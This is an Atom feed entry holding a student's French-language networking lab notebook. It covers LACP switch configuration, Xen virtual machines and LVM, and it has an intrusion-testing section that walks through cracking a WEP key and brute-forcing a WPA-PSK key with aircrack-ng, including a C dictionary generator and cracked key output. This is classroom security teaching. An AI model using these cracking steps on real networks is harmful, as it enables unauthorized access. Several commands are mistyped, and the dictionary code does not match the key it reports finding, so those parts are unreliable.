<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cchen2</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Cchen2"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Cchen2"/>
		<updated>2026-04-25T10:48:15Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39911</id>
		<title>Cahier 2016 groupe n°4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39911"/>
				<updated>2017-03-02T10:11:57Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Plan des séances */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Plan des séances===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Connaissances du TP/ Recherche des informations de LACP/ Familiarisation avec des équipements &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Installation de la machine virtuelle/ Configuration des commutateurs en LACP&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Configuration des switchports en mode trunk/ Mettre des commutateurs dans la salle technique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Câblages des commutateurs dans la salle locale technique/ Création des LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Tests d'intrusion/  Services Internet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (14/11)&lt;br /&gt;
 | Tests d'intrusion (Cassage de mot de passe WPA-PSK par force brute)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | Sécurisation Wifi par WPA2-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | Configuration d'un PCBX&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie I - Réalisation en monome : LACP&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
[[Fichier:travail.jpeg‎|thumb|center|1200xp|TP global]]&lt;br /&gt;
Travail principal: Dans un premier temps mon travail principal c'est de faire la connexion entre la salle E306,E304 et mon propre commutateur. Ensuite il faut connecter mon commutateur avec le commutateur de l'école. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Les matériels nécessaires&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:commutateur.jpeg|Commutateur&lt;br /&gt;
Fichier:LC.jpeg|Adaptateur LC&lt;br /&gt;
Fichier:SC.jpeg|Adaptateur SC&lt;br /&gt;
Fichier:cables.jpeg|Cables&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Le fonctionnement&amp;lt;/h4&amp;gt;&lt;br /&gt;
Dans les images, on peut voir qu'il y deux genres de câbles.Les câbles en rouges sont pour la salle E306 et la salle E304, les câbles en bleus sont pour l'école. Pour communiquer avec mon commutateur il faut brancher les câbles en rouges sur mon commutateur. Ensuite, pour connecter mon commutateur au commutateur de l'école il faut un autre câble. Le LC et le SC sont des adaptateurs.&lt;br /&gt;
&amp;lt;h4&amp;gt;d) La recherche du LACP&amp;lt;/h4&amp;gt;&lt;br /&gt;
LACP (Link Aggregation Control Protocol) est un protocole de niveau 2 du modèle OSI qui permet de grouper plusieurs ports physiques en une seule voie logique.&lt;br /&gt;
La norme décrit l'utilisation de multiples câbles réseau Ethernet ou un port parallèle pour augmenter la rapidité du lien au-delà des limites d'un câble ou d'un seul port, et d'accroître la redondance pour une plus grande disponibilité.&lt;br /&gt;
[[Fichier:LACP.jpeg‎|thumb|center|1200xp|Fonctionnement du LACP]]&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie II - Réalisation de la machine virtuelle&amp;lt;/h2&amp;gt;&lt;br /&gt;
Pour réaliser une machine virtuelle il faut taper la commande comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     xen-create-image --hostname=Mulan --ip=193.48.57.164 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen&lt;br /&gt;
                      --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que ma machine virtuelle est crée j'ai eu des informations comme ci-dessous:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     Hostname                 :       Mulan&lt;br /&gt;
     Distribution             :       jessie&lt;br /&gt;
     MAC Address              :       00:16:3E:20:B9:4F&lt;br /&gt;
     IP Address(es)           :       193.48.57.164&lt;br /&gt;
     RSA Fingerprint          :       ae:b1:59:03:ad:d1:ac:3b:13:df:fe:94:0a:3b:81&lt;br /&gt;
     Root Password            :       EZ5VWgMP&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite avec la commande ls /etc/xen j'arrive à visualiser les machines crées sur xen&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Batman.cfg             Gringe.cfg          Orelsa.cfg            xend-config.sxp&lt;br /&gt;
      Deadpool.cfg           Kdoc.cfg            Pnl.cfg               xl.conf&lt;br /&gt;
      Flash.cfg              Lartiste.cfg        scripts               xlexample.hvm&lt;br /&gt;
      Gradur.cfg             Mulan.cfg           Vald.cfg              xlexample.pvlinux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai lancé la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl create -c /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande est pour visualiser le fichier de ma machine virtuelle Mulan, ici:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl --------  Gérer la machine virtuelle&lt;br /&gt;
      create ----- Démarrer la machine virtuelle&lt;br /&gt;
      -c --------  Avoir la console&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut changer certains paramètres de ma machine virtuelle, donc avec vi j'ai accédé à mon fichier. Après les changements, j'ai eu un fichier comme montré:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      #&lt;br /&gt;
      # Kernel&lt;br /&gt;
      #&lt;br /&gt;
      Kernel  = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
      extra   = 'elevator = noop'&lt;br /&gt;
      ramdisk = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
      vcpus   = '1'&lt;br /&gt;
      memory  = '512'&lt;br /&gt;
      #&lt;br /&gt;
      # Disk device(s)&lt;br /&gt;
      #&lt;br /&gt;
      root = '/dev/xvda2 ro'&lt;br /&gt;
      disk = [&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/disk,img,xvda2,w',&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/swap,img,xvda1,w',&lt;br /&gt;
             ]&lt;br /&gt;
      #&lt;br /&gt;
      # Hostname&lt;br /&gt;
      #&lt;br /&gt;
      name = '/Mulan'&lt;br /&gt;
      #&lt;br /&gt;
      # Networking&lt;br /&gt;
      #&lt;br /&gt;
      vif = [ 'mac = 00:16:3E:20:139:4F,bridge=IMA5sc' ]&lt;br /&gt;
      #&lt;br /&gt;
      # Behavior&lt;br /&gt;
      #&lt;br /&gt;
      on_poweroff = 'destroy'&lt;br /&gt;
      on_reboot   = 'restart'&lt;br /&gt;
      on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir le mot de passe, il faut regarder dans le fichier '''/etc/xen/var/log/xen-tools/Mulan.cfg'''.Souvent le mot de passe est trop long donc pour le changer il faut taper '''passwd'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie III - Configuration des commutateurs en mode LACP &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette parties il faut que je configures deux commutateurs dans le mode LACP avant que je les branche. Ensuite il faut qu'ils    &lt;br /&gt;
soient reliés par des câbles pour voir s'ils peuvent communiquer ou pas.&lt;br /&gt;
[[Fichier:commu.JPG|thumb|center|600xp|Deux commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;b) La configuration&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Switch&amp;gt;            enable&lt;br /&gt;
      Switch#            configure terminal&lt;br /&gt;
      Switch(config) #   interface port-channel 1&lt;br /&gt;
      Switch(config-if)# interface g1/0/1&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# exit&lt;br /&gt;
      Switch(config)#    interface g1/0/2&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# end&lt;br /&gt;
      Switch#            write&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petits rappels: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      port-channel -------- interface virtuelle&lt;br /&gt;
      show int summary ---- savoir les informations des ports et vlans du commutateur&lt;br /&gt;
      10 ports ont été configurés ---- de g1/0/1 à g1/0/10&lt;br /&gt;
      il ne faut surtout pas oublier le write ! ---- enregistrer toutes les configurations&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les memes commandes pour configurer l'autre commutateur sauf que le numéro des ports sont de g0/1 à g0/10.Comme l'autre commutateur est déjà configuré donc avant que j'ai commencé le configurer j'ai supprimé toutes les informations dedans avec '''no vlan x''' Une fois que les configurations sont faites, j'ai lié ces deux commutateurs par des câbles internet.&lt;br /&gt;
[[Fichier:cable.JPG|thumb|center|600xp|Lier les commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Test&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour voir si les ports sont bien connecté avec l'interface virtuelle ou pas il faut faire la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      sh int port-channel&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et j'ai eu un ecran comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   Port-channel1 is up, line protocol is up (connected)&lt;br /&gt;
      Hardware is EtherChannel, address is 4c4e.355e.b901 (bia 4c4e.355e.b901)&lt;br /&gt;
      MTU 1500 bytes, BW 8000000 Kbit, DLY 10 usec,&lt;br /&gt;
         reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt;
      Encapsulation ARPA, loopback not set&lt;br /&gt;
      Keepalive set (10 sec)&lt;br /&gt;
      Full-duplex, 1000Mb/s, link type is auto, media type is unknown&lt;br /&gt;
      input flow-control is off, output flow-control is unsupported &lt;br /&gt;
      Members in this channel: Gi0/1 Gi0/2 Gi0/3 Gi0/4 Gi0/5 Gi0/6 Gi0/7 Gi0/8 &lt;br /&gt;
      ARP type: ARPA, ARP Timeout 04:00:00&lt;br /&gt;
      Last input 00:00:00, output 00:13:18, output hang never&lt;br /&gt;
      Last clearing of &amp;quot;show interface&amp;quot; counters never&lt;br /&gt;
      Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt;
      Queueing strategy: fifo&lt;br /&gt;
      Output queue: 0/40 (size/max)&lt;br /&gt;
      5 minute input rate 1000 bits/sec, 2 packets/sec&lt;br /&gt;
      5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;
          1583 packets input, 166045 bytes, 0 no buffer&lt;br /&gt;
          Received 1082 broadcasts (1082 multicasts)&lt;br /&gt;
          0 runts, 0 giants, 0 throttles&lt;br /&gt;
          0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored&lt;br /&gt;
          0 watchdog, 1082 multicast, 0 pause input&lt;br /&gt;
          0 input packets with dribble condition detected&lt;br /&gt;
          1187 packets output, 148752 bytes, 0 underruns&lt;br /&gt;
          0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;
          0 babbles, 0 late collision, 0 deferred&lt;br /&gt;
          0 lost carrier, 0 no carrier, 0 PAUSE output&lt;br /&gt;
          0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Par ces informations je peux bien savoir que mon interface virtuelle est en mode active et il y a que 8 ports qui sont pris en compte.&lt;br /&gt;
[[Fichier:light.JPG|thumb|center|600xp|Les lumières du commutateur]]&lt;br /&gt;
Même par les lumières du commutateur, 8 ports sont en vert et 2 ports sont en orange.&lt;br /&gt;
'''Pourquoi?'''Parce que LACP permet un maximum de 16 ports dont 8 actifs.(voir la référence)&lt;br /&gt;
Pour voir toutes les informations de port-channel 1 il y a une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh lacp 1 internal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec cette commande je peux visualiser tous les ports qui marchent sur cette interface virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Channel group 1&lt;br /&gt;
                            LACP port     Admin     Oper    Port        Port&lt;br /&gt;
Port      Flags   State     Priority      Key       Key     Number      State&lt;br /&gt;
Gi1/0/1   SA      bndl      32768         0x1       0x1     0x102       0x3D  &lt;br /&gt;
Gi1/0/2   SA      bndl      32768         0x1       0x1     0x103       0x3D  &lt;br /&gt;
Gi1/0/3   SA      bndl      32768         0x1       0x1     0x104       0x3D  &lt;br /&gt;
Gi1/0/4   SA      bndl      32768         0x1       0x1     0x105       0x3D  &lt;br /&gt;
Gi1/0/5   SA      bndl      32768         0x1       0x1     0x106       0x3D  &lt;br /&gt;
Gi1/0/6   SA      bndl      32768         0x1       0x1     0x107       0x3D  &lt;br /&gt;
Gi1/0/7   SA      bndl      32768         0x1       0x1     0x108       0x3D  &lt;br /&gt;
Gi1/0/8   SA      bndl      32768         0x1       0x1     0x109       0x3D  &lt;br /&gt;
Gi1/0/9   SA      hot-sby   32768         0x1       0x1     0x10A       0x5   &lt;br /&gt;
Gi1/0/10  SA      hot-sby   32768         0x1       0x1     0x10B       0x5   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie IV - Configurations des switchports en mode trunk &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette séance il faut configurer les switchports en mode trunk ensuite il faut installer les commutateurs dans l'armoire. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Configurations des switchports&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour configurer les switchports il faut utiliser les commandes en bas&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Switch#configure terminal&lt;br /&gt;
Switch(config)#interface XXX                                                &lt;br /&gt;
Switch(config-if)#switchport mode trunk                                         &lt;br /&gt;
Switch(config-if)#switchport trunk encapsulation dot1q                          &lt;br /&gt;
Switch(config-if)#exit   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans mon cas, les interfaces que j'ai configurées sont&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Te1/0/1 Te1/0/2 TenGigabitEthernet1/1 TenGigabitEthernet1/2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir si les switchports ont été bien configuré ou pas il faut taper &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur le console j'ai eu des informations comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
interface TenGigabitEthernet1/0/1                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                                                                               &lt;br /&gt;
interface TenGigabitEthernet1/0/2                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les ports sont bien configurés.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Installations des commutateurs&amp;lt;/h4&amp;gt;&lt;br /&gt;
Après la configurations des commutateurs il faut les installer dans la salle technique.&lt;br /&gt;
[[Fichier:com.JPG|thumb|center|600xp|L'installation des commutateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie V - Câblages et créations des LVM &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Pour que tous les paquets puissent passer par mes commutateurs, il faut mettre des câbles entre les commutateurs de la salle E304 et la salle E306 et mes commutateurs configurés en mode LACP. Ensuite il faut créer des LVM.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Câblages des commutateurs&amp;lt;/h4&amp;gt;  &lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:ca2.JPG|Cablage&lt;br /&gt;
Fichier:ca0.JPG|Cablage&lt;br /&gt;
Fichier:ca1.JPG|Cablage&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Créations des LVM&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour créer le LVM il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-var -v&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-home -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut compléter le fichier Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/spool1/mail-spool,xvdb1,w',&lt;br /&gt;
'phy:/dev/spool2/mail-backup,xvdc1,w'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la réussite de la création de LVM, il faut utiliser la commande '''fdisk -l''' et j'ai sur le console j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Disk /dev/xvda2: 4 GiB, 4294967296 bytes, 8388608 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvda1: 128 MiB, 134217728 bytes, 262144 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdb1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdc1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai choisit xvdb1 pour home et xvdc1 pour var.&lt;br /&gt;
Ensuite j'ai modifié le fichier /etc/fstab en rajoutant&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc1 /var  ext4 defaults 0 3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux commandes permettent de créer un ext4 fichier sur une partition d'un système.&lt;br /&gt;
Mais avant d'exécuter '''mount a''' pour var, il faut d'abord déplacer les fichiers existants dans un autre répertoire''' mnt'''.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/xdbc1 /mnt&lt;br /&gt;
cd /var&lt;br /&gt;
mv /mnt&lt;br /&gt;
unmont /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
The mount command mounts a storage device or filesystem, making it accessible and attaching it to an existing directory structure.&lt;br /&gt;
The umount command &amp;quot;unmounts&amp;quot; a mounted filesystem, informing the system to complete any pending read or write operations, and safely detaching it.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VI - Tests d'intrusion &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut tester les méthodes de sécurisation du WIFI&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Cassage de clef WEP d'un point d'accès Wifi&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail réalisé dans cette partie est sur un eeePC. Dans un premier temps, il faut installer le paquetage '''aircrack-ng''' sur eeePC avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install aircrack-ng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour passer la carte WIFI en mode '''monitor''', il faut taper la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng start wlan3	       #&lt;br /&gt;
		#	check_cert_cn = %{User-Name}&lt;br /&gt;
		#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En même temps une interface mon0 est crée, cette interface est la même que le wlan3 sauf qu'elle est en mode '''monitor'''. Son rôle est d’écouter toutes les trames qui passent les interfaces.&lt;br /&gt;
Pour trouver les informations plus précisés de cette interface de monitor, avec l'aide de la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
BSSID                 PWR    Beacons    #Data,   #/s    CH     MB      ENC     CIPHER    AUTH      ESSID&lt;br /&gt;
00:12:D9:B7:E7:D0     -77          3        0      0    12     54e.    WPA2    CCMP      MGT       &amp;lt;length: 1&amp;gt;&lt;br /&gt;
C8:00:84:84:00:54     -79         15        0      0     9     54e.    WPA2    CCMP      MGT       PolytechLille&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour surveiller les réseaux WIFI, il faut lancer &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng -w manchot -c 13 --bssid 04:DA:D2:9C:50:54 mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-w permet de créer un fichier de capture dans lequel seront enregistrés tous les paquets.&lt;br /&gt;
-c permet de cibler l'écoute sur un canal wifi particulier. &lt;br /&gt;
--bssid permet de ne cibler qu'un seul point d'accès en fonction de son adresse mac. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Quatre fichiers manchots sont crées&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
manchot-01.cap    manchot-01.csv    manchot-01.kismet.csv    manchot-01.kismet.netxml&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finalement il faut lancer l'algorithme de craquage de la clef WEP&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng manchot-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur mon shell, j'obtiens&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:00] Tested 782 keys (got 276993 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 15   EE(374528) 78(301568) 0B(298752) 11(296960) 87(294656)&lt;br /&gt;
    1    0/  2   46(383488) A8(300544) 6D(297216) FF(295680) 25(295168)&lt;br /&gt;
    2    9/  2   C3(291840) 28(290304) 85(290048) F7(290048) 19(289792)&lt;br /&gt;
    3    6/  3   D4(294400) 30(294144) 94(294144) BD(294144) 14(293632)&lt;br /&gt;
    4    0/  1   1F(383488) 3F(296960) A8(296960) 83(296192) 1A(295936)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44 ]&lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cassage de mot de passe WPA-PSK par force brute&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie, il faut reprendre les étapes pour la cassage de clef WEP d'un point d'accès Wifi. Mais il faut créer un dictionnaire pour toutes les possibilités de la clef WPA qui est un nombre sur 8 chiffres. Le code pour la dictionnaire est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  for (i=0; i&amp;lt;1000000; i++)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire record-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 # BSSID                   ESSID                       Encryption&lt;br /&gt;
 1 04:DA:D2:9C:50:52       cracotte03                  WPA (1 handshake)&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening record-01.cap&lt;br /&gt;
Reading packets, please wait...&lt;br /&gt;
                               Aircrack-ng 1.2 beta3&lt;br /&gt;
          &lt;br /&gt;
                   [00:57:58] 12399908 keys tested (3650.27 k/s)&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399903 ]&lt;br /&gt;
     &lt;br /&gt;
         Master Key    : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87&lt;br /&gt;
                         40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93&lt;br /&gt;
   &lt;br /&gt;
         Transient Key : 86 B4 17 90 2B BE 9E CA 9A 5E 59 D7 F4 D9 94 A7&lt;br /&gt;
                         AE 0D 63 1C 83 3B 48 C4 FF 01 C4 85 4B 32 7F C0&lt;br /&gt;
                         9A CE DC 63 D6 3A 72 16 1E BE E4 CE 5D 1C B1 3D&lt;br /&gt;
                         1F 91 A1 F5 F4 1A 50 17 B9 55 0F 9F D4 3B 94 BD&lt;br /&gt;
&lt;br /&gt;
